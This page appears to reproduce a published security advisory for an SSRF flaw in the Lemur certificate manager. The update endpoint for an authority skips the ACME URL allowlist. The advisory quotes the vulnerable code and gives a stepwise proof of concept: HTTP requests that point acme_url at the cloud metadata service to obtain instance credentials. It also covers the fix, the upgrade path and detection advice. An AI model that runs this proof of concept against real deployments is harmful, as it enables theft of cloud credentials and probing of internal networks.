GHSA-v5rc-cpwc-cfpr: SSRF

Published Aug 18, 2026
·
Updated

Summary

The fix for GHSA-v2wp-frmc-5q3v added validateacmeurl() to reject acmeurl values not in ACMEDIRECTORYHOSTALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acmeurl -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acmeurl with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

Details

Where the fix lives (POST path -- protected):

lemur/plugins/lemuracme/plugin.py lines 333-337 (ACMEIssuerPlugin.createauthority): python for option in pluginoptions: if option.get("name") == "certificate": acmeroot = option.get("value") if option.get("name") == "acmeurl": validateacmeurl(option.get("value", "")) # allowlist enforced

validateacmeurl at line 35: python def validateacmeurl(url): """Reject acmeurl values that are not in the configured allowlist.

Called at authority creation time only -- existing authorities in the DB were already trusted when they were created and are not re-validated. """ allowedhosts = currentapp.config.get( "ACMEDIRECTORYHOSTALLOWLIST", {"acme-v02.api.letsencrypt.org", ...}, ) parsed = urlparse(url) if parsed.scheme != "https" or parsed.hostname not in allowedhosts: raise InvalidConfiguration(...)

Where the gap is (PUT path -- unprotected):

lemur/authorities/views.py lines 405-424 (Authorities.put): python authority = service.get(authorityid) roles = [x.name for x in authority.roles] permission = AuthorityPermission(authorityid, roles)

if not permission.can() or not StrictRolePermission().can(): return dict(message="You are not authorized to update this authority."), 403

return service.update( authorityid, owner=data["owner"], description=data["description"], active=data["active"], roles=data["roles"], options=data.get("options") # stored verbatim -- no ACME URL check )

lemur/authorities/service.py lines 28-46 (update): python def update(authorityid, description, owner, active, roles, options=None): authority = get(authorityid) authority.roles = roles authority.active = active authority.description = description authority.owner = owner if options: authority.options = options # written to DB with no validateacmeurl call return database.update(authority)

Where the SSRF sink is:

lemur/plugins/lemuracme/acmehandlers.py lines 157-188: python for option in json.loads(authority.options): options[option["name"]] = option.get("value") directoryurl = options.get("acmeurl", currentapp.config.get("ACMEDIRECTORYURL")) ... directory = ClientV2.getdirectory(directoryurl, net) # outbound HTTP to stored URL

With the default configuration (LEMURSTRICTROLEENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acmeurl with an arbitrary URL. The allowlist enforced at creation is silently discarded.

PoC

Prerequisites: - Lemur 1.9.2, default config (LEMURSTRICTROLEENFORCEMENT not set, defaults to False) - Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance) - Attacker has a valid Lemur session token

Step 1 -- Authenticate as the non-admin user (role: TestRootCAoperator):

POST /api/1/auth/login HTTP/1.1 Host: lemur.example.com Content-Type: application/json

{"username": "alice", "password": "..."}

Response (truncated): json {"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Step 2 -- Confirm identity (non-admin, no global operator role):

GET /api/1/auth/me HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response: json {"username": "alice", "id": 2, "roles": [{"name": "TestRootCAoperator"}]}

Step 3 -- Overwrite acmeurl with an internal IMDS endpoint via authority update:

PUT /api/1/authorities/1 HTTP/1.1 Host: lemur.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... Content-Type: application/json

{ "owner": "security@example.com", "description": "Let's Encrypt Production", "active": true, "roles": [{"id": 5}, {"id": 6}, {"id": 7}], "options": "[{\"name\": \"acmeurl\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]" }

Response (HTTP 200 -- no validation error): json { "id": 1, "name": "TestRootCA", "description": "Let's Encrypt Production", "options": [{"name": "acmeurl", "value": "http://169.254.169.254/latest/meta-data/"}], ... }

Live validation output (observed on Lemur 1.9.2, 2026-06-19):

User: nonadvuln | ID: 2 | Roles: ['TestRootCAoperator']

PUT /api/1/authorities/1 -> HTTP 200 stored options: [{"name": "acmeurl", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql): SELECT options FROM authorities WHERE id=1; "[{\"name\": \"acmeurl\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"

Step 4 -- Trigger SSRF:

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setupacmeclient(), which executes:

python directoryurl = options.get("acmeurl", ...) # reads stored malicious URL directory = ClientV2.getdirectory(directoryurl, net) # outbound request

The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

Suggested fix:

Call validateacmeurl() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:

python in lemur/authorities/service.py update() if options: from lemur.plugins.lemuracme.plugin import validateacmeurl import json for opt in json.loads(options) if isinstance(options, str) else options: if opt.get("name") == "acmeurl": validateacmeurl(opt.get("value", "")) authority.options = options

Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acmeurl with an arbitrary URL, bypassing the ACMEDIRECTORYHOSTALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.

Affected Software

1 affected componentFixes available
pip/lemur<=1.9.2
1.9.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lemur to a version that resolves this vulnerability.

    Fixed in 1.9.3
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch GHSA-v2wp-frmc-5q3v
  3. Configuration

    Call _validate_acme_url() inside lemur/authorities/service.py update() (or in lemur/authorities/views.py Authorities.put) whenever the options field is provided for an ACME-based issuer plugin, so that updating an authority (PUT /api/1/authorities/<id>) re-validates options including acme_url. The validation currently happens at authority creation time only (POST), and update stores options verbatim without invoking the allowlist check.

    Lemur ACME authority options validation acme_url allowlist enforcement = reject when acme_url hostname is not in ACME_DIRECTORY_HOST_ALLOWLIST

Event History

Aug 18, 2026
Advisory Published
via GitHub·08:51 PM
Data Sourced
via GitHub·08:51 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users can exploit this issue?

Users who have an authority role are exposed if they can update an authority. That role is granted by an administrator to permit certificate issuance through the authority, and it can be used to replace the stored acme_url through the authority update endpoint.

2

What action triggers the server-side request after a malicious URL is saved?

The attacker needs an existing authority role and access to the authority update endpoint. They can set acme_url in the authority options to an internal IP address or an instance metadata service endpoint; SSRF occurs when a certificate is next issued through that authority.

3

Is the ACME URL allowlist enforced for authority updates?

The allowlist validation protects authority creation through the POST path, but it is not invoked when an authority is updated through PUT /api/1/authorities/<id>. Therefore, authorities created with an allowed URL can later be changed to an arbitrary URL through an update.

4

How can administrators check for potential exposure or misuse?

Review authority updates and stored authority options for unexpected acme_url values, particularly internal addresses or metadata-service endpoints. Also review which users hold authority roles, since those users can modify an authority's options.

5

What mitigation is available if an immediate upgrade is not possible?

Upgrade to the released version that includes the fix, v1.9.3. Until patching is possible, restrict authority roles to trusted users and prevent or closely monitor authority updates that modify acme_url.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203